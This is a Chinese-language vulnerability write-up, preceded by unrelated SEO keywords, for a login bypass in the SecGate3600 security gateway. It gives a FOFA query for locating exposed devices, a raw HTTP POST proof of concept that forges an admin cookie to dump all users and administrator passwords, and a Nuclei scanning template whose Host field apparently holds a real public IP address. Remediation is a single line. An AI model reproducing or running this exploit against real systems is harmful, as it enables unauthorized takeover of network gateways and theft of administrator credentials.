网站建设公司的服务,wordpress怎么添加附件,网站策划书编写,wordpress禁用新编辑器免责声明#xff1a;文章来源互联网收集整理#xff0c;请勿利用文章内的相关技术从事非法测试#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失#xff0c;均由使用者本人负责#xff0c;所产生的一切不良后果与文章作者无关。该…免责声明文章来源互联网收集整理请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
SecGate3600是网神信息技术(北京)股份有限公司旗下一款安全网关产品网神 SecGate3600 存在登录绕过漏洞攻击者利用该漏洞可获取管理员密码等敏感信息进一步控制系统。 Ⅱ、fofa语句
bodysec_gate_image/login_02.gif
Ⅲ、漏洞复现
POC
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host:127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: sw_login_nameadmin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15typegetAllUsers_searchfalsend1645000391264rows-1page1sidxsordasc
1、构建poc 2、登录成功 Ⅳ、Nuclei-POC
id: SecGate3600-authManageSet-cgi-login-bypassinfo:name: Template Nameauthor: WLFseverity: highdescription: SecGate3600存在登录绕过漏洞攻击者利用该漏洞可获取管理员密码等敏感信息reference:- https://tags: SecGate3600,bypasshttp:- raw:- |-POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1Host:112.66.164.36:8889Content-Type: application/x-www-form-urlencodedCookie: sw_login_nameadminUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 77typegetAllUsers_searchfalsend1645000391264rows-1page1sidxsordascmatchers-condition: andmatchers:- type: wordpart: bodywords:- cell- type: statusstatus:- 200
Ⅴ、修复建议
升级至安全版本
